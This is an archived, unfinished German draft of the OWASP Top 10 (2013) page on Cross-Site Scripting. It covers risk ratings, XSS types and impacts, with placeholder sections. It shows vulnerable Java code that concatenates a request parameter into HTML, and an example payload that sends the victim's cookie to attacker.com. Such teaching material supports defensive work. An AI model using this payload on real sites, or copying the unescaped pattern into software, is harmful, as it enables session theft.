This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Germany/Projekte/Top 10 fuer Entwickler-2013/A3-Cross-Site Scripting (XSS)
NOTE: THIS IS NOT THE LATEST VERSION. Please visit the OWASP Top 10 project page to find the latest edition.
Testseite in Bearbeitung (BAUSTELLE!!)
die Überschriften kommen z.T noch von den Templates der englischen Top 10, Tbd!!
A2 Cross-Site Scripting (XSS)
______ | Ausnutzbarkeit DURCHSCHNITTLICH |
Verbreitung AUSSERGEWÖHNLICH HÄUFIG |
Auffindbarkeit EINFACH |
Auiswirkung MITTEL |
Application / Business Specific |
Jeder, der Daten, die nicht ausreichend geprüft werden, an das System übermitteln kann: externe und interne Nutzer sowie Administratoren. | Der Angreifer sen-det textbasierte Angriffsskripte, die Eigenschaften des Browsers aus-nutzen. Fast jede Datenquelle kann einen Angriffsvektor beinhalten, auch interne Quellen wie Datenbanken. | XSS ist die am weitesten verbreitete Schwachstelle in Webanwendungen. XSS-Schwachstellen treten dann auf, wenn die Anwendung vom Benutzer eingegebene Daten übernimmt, ohne sie hinreichend zu validieren und Metazeichen als Text zu kodieren. Es gibt drei Typen von XSS-Schwachstellen: 1) Persistent, 2) nicht-persistent/reflektiert, und 3) DOM-basiert (lokal). Die meisten XSS-Schwachstellen sind verhältnismäßig einfach mit Hilfe von Tests oder Code-Analyse zu erkennen. | Angreifer können Skripte im Browser des Opfers ausführen und die Session übernehmen, Webseiten defacen, falsche In-halte einfügen, Benutzer umleiten, den Browser des Benutzers durch Malware übernehmen, etc. | Berücksichtigen Sie den geschäftlichen Nutzen des betrof-fenen Systems und der verarbeiteten Daten. Bedenken Sie ebenfalls die Auswirkung auf das Unternehmen bei Bekanntwerden der Schwachstelle. |
Am I Vulnerable To 'Cross-Site Scripting (XSS)'?
Die Anwendung übernimmt nicht vertrauenswürdige Daten, die nicht auf Gültigkeit geprüft oder escaped werden, um folgenden HTML-Code zu generieren: (String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
Der Angreifer ändert den Parameter ‘CC’ in seinem Browser auf: '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi? foo='+document.cookie</script>' .
Dadurch wird die Session-ID des Benutzers an die Seite des Angreifers gesendet, so dass der Angreifer die aktuelle Benutzersession übernehmen kann. Beachten Sie bitte, dass Angreifer XSS auch nutzen können, um jegliche CSRF-Abwehr der Anwendung zu umgehen. A5 enthält weitere Informationen zu CSRF. |
How Do I Prevent 'Cross-Site Scripting (XSS)'?
Um XSS zu verhindern, müssen nicht vertrauenswürdige Daten von aktiven Browserinhalten getrennt werden.
|
JAVA | |
Example Attack Scenarios
XSStbd |